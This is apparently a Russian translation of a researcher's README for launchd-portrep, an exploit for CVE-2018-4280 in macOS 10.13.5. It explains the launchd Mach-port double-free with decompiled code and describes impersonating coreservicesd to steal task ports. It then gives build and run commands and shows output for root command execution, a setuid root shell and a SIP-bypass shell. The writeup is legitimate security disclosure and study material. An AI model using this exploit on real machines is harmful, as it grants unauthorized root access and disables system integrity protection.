
CVE-2018-4280: Уязвимость замены портов Mach в launchd на macOS 10.13.5, приводящая к локальному повышению привилегий и обходу SIP.
launchd-portrep — это эксплойт для уязвимости замены портов в launchd, начальном процессе пользовательского пространства и демоне управления службами в macOS. Отправляя специально сформированное сообщение Mach на загрузочный порт, можно вынудить launchd освободить своё право отправки для любого порта Mach, к которому атакующий также имеет право отправки. Это позволяет атакующему выдавать себя за любую службу launchd, к которой он может обратиться, перед остальной системой.
Launchd мультиплексирует несколько различных обработчиков сообщений Mach на своём основном порту, включая MIG-обработчик для сообщений исключений. Если процесс отправляет сообщение mach_exception_raise или mach_exception_raise_state_identity на свой собственный загрузочный порт, launchd получает и обрабатывает это сообщение как исключение уровня хоста.
К сожалению, обработка этих сообщений в launchd содержит ошибку. Если тип исключения — EXC_CRASH, то launchd освобождает порты потока и задачи, отправленные в сообщении, а затем возвращает KERN_FAILURE из служебной процедуры, что заставляет систему MIG снова освободить эти порты. (Предполагается, что если служебная процедура возвращает успех, то она приняла владение всеми ресурсами в сообщении Mach; если же процедура возвращает ошибку, то не приняла владение ни одним из ресурсов.)
Вот код служебной процедуры launchd для сообщений mach_exception_raise, декомпилированный с помощью IDA/Hex-Rays и слегка отредактированный для удобства чтения:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) Служебная процедура
mach_port_t exception_port, // вызывается со значениями
mach_port_t thread, // непосредственно из сообщения
mach_port_t task, // Mach, отправленного клиентом.
unsigned int exception, // Порты thread и task могут
mach_exception_data_t code, // быть произвольными правами
unsigned int codeCnt) // отправки.
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Исключение уровня хоста: pid = %d, thread = 0x%x, "
"type exception = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) Порт "thread", отправленный
if ( kr ) // в сообщении, освобождается.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) Порт "task", отправленный в
if ( kr ) // сообщении, освобождается.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) Если тип исключения — 10
result *= 5; // (EXC_CRASH), то возвращается
} // ошибка KERN_FAILURE.
return result; // MIG снова освободит порты.
} //
Это двойное освобождение имён портов проблематично, поскольку процесс может установить любые порты в качестве портов задачи и потока в сообщении об исключении. Launchd не проверяет, соответствуют ли полученные права отправки реальному потоку и задаче; порты могут быть, например, правами отправки на порты, уже находящиеся в IPC-пространстве launchd. Тогда двойное освобождение приведёт к тому, что launchd потеряет пользовательскую ссылку на один из своих собственных портов.
Эта ошибка может быть использована для освобождения права отправки launchd на любой порт Mach, к которому атакующий процесс также имеет право отправки. В частности, если атакующий процесс может найти системную службу через launchd, то он может освободить право отправки launchd на эту службу, а затем выдать себя за эту службу перед остальной системой. После этого существует множество способов получения системных привилегий.
Эта ошибка является менее общей версией CVE-2016-7637 — проблемы обработки пользовательских ссылок на порты Mach в XNU, обнаруженной Иэном Биром, которая позволяла процессам освобождать порты Mach в других процессах. Иэн Бир использовал эту уязвимость в macOS, заменяя право отправки launchd на конечную точку com.apple.CoreServices.coreservicesd и выдавая себя за coreservicesd перед остальной системой. Coreservicesd является привлекательной целью, потому что это одна из немногих служб, которым клиенты отправляют свой порт задачи в сообщении Mach. Заменив право отправки launchd на coreservicesd своим собственным портом и затем запуская привилегированных клиентов, чтобы те обращались к coreservicesd и общались с ним, он смог получить порт задачи привилегированного процесса и выполнить код внутри этого процесса.
Поскольку поведение macOS не изменилось, я в основном скопировал стратегию эксплуатации Иэна Бира для данной уязвимости. Мы отправляем сообщения об исключениях в launchd, содержащие порт службы coreservicesd, до тех пор, пока не освободим право отправки launchd на этот порт. Мы можем обнаружить, когда право освобождено, снова вызвав bootstrap_look_up() для этой службы: если launchd возвращает недействительное имя порта, значит, мы успешно освободили право отправки launchd на порт. Затем мы многократно регистрируем и отменяем регистрацию большого количества служб в launchd, пока одна из зарегистрированных служб не получит то же имя порта Mach в IPC-пространстве launchd, что и исходный порт coreservicesd. В этот момент любой процесс, который ищет com.apple.CoreServices.coreservicesd в launchd, получит право отправки на нашу поддельную службу вместо реальной coreservicesd. Затем мы запускаем MITM-сервер на порту поддельной службы, проверяя все порты Mach в сообщениях, полученных от клиентов, прежде чем пересылать их реальной coreservicesd. На этом этапе мы отправляем сообщение sysdiagnose, заставляя его запустить tailspin, что приводит к подключению sysdiagnose к нашему поддельному порту coreservicesd и отправке нам своего порта задачи. Поскольку sysdiagnose имеет право task_for_pid-allow, мы теперь можем получить порт задачи для любого процесса.
Чтобы (в основном) восстановить нормальное функционирование системы, мы используем sysdiagnose для получения порта задачи launchd, а затем используем порт задачи launchd, чтобы заменить право отправки launchd на наш поддельный порт службы обратно на право отправки на реальную coreservicesd. Таким образом, будущие клиенты смогут действительно достичь coreservicesd.
Одна проблема, которую я заметил при таком подходе, — это то, что система, похоже, на короткое время зависает при выключении. Я предполагаю, что это связано с тем, что вмешательство в порты launchd нарушает некоторые учётные записи или уведомления о портах launchd. Я не исследовал эту проблему дальше, но перезапуск coreservicesd с помощью launchctl, похоже, исправляет её:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Получив возможность выполнения кода внутри процесса с правом task_for_pid-allow, мы можем управлять любой задачей в системе. Это замечательно, потому что мы не только можем выполнить стандартное повышение привилегий, но и можем обойти SIP, внедряя код в процессы, имеющие право SIP.
Этот эксплойт демонстрирует два возможных применения: выполнение системных команд от имени root и внедрение динамических библиотек. Чтобы выполнить системную команду, мы просто вызываем стандартную функцию system() изнутри sysdiagnose, передавая ей строку команды, предоставленную пользователем. Чтобы внедрить динамическую библиотеку в процесс, мы вызываем task_for_pid() изнутри sysdiagnose, чтобы получить порт задачи цели, а затем используем порт задачи для вызова dlopen() для указанной библиотеки.
Чтобы собрать автономный эксплойт launchd-portrep, выполните make. Смотрите начало Makefile для различных опций сборки. Вам потребуется сначала скачать и собрать библиотеку внедрения threadexec.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Обратите внимание, что эксплойт, как написано, завершится ошибкой, если процесс sysdiagnose уже запущен. Поэтому для целей этой демонстрации обязательно убейте sysdiagnose перед запуском эксплойта. (Можно переработать эксплойт так, чтобы он работал, даже если sysdiagnose уже запущен, но я решил не включать эту функциональность, чтобы препятствовать использованию этого инструмента в злонамеренных целях.)
Запустите эксплойт, указав команду для выполнения так, как если бы она передавалась функции system():
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
В качестве альтернативы, если указать PID и абсолютный путь к файлу динамической библиотеки, launchd-portrep внедрит dylib в указанный процесс.
Также есть два примерных скрипта, которые оборачивают launchd-portrep: launchd-portrep-rootsh.sh и launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh предоставляет традиционную root-оболочку, устанавливая setuid-root загрузчик оболочки в /var/suid-sh. (setuid-оболочка автоматически удаляется через 1 секунду.)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh ещё интереснее: он предоставляет оболочку, в которой ограничения rootless на файловую систему отключены. Это делается путём порождения diskmanagementd, который имеет право com.apple.rootless.install.heritable, а затем внедрения dylib в diskmanagementd, что заставляет его породить оболочку с stdin и stdout, привязанными к именованным каналам. Как следует из названия права, исключения из SIP, предоставленные com.apple.rootless.install.heritable, будут переданы дочерним процессам, что означает, что оболочка и все команды, выполняемые в ней, по существу не подпадают под защиту файловой системы SIP.
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep протестирован на macOS 10.13.5 17F77.
Код launchd-portrep распространяется под лицензией MIT.
Brandon Azad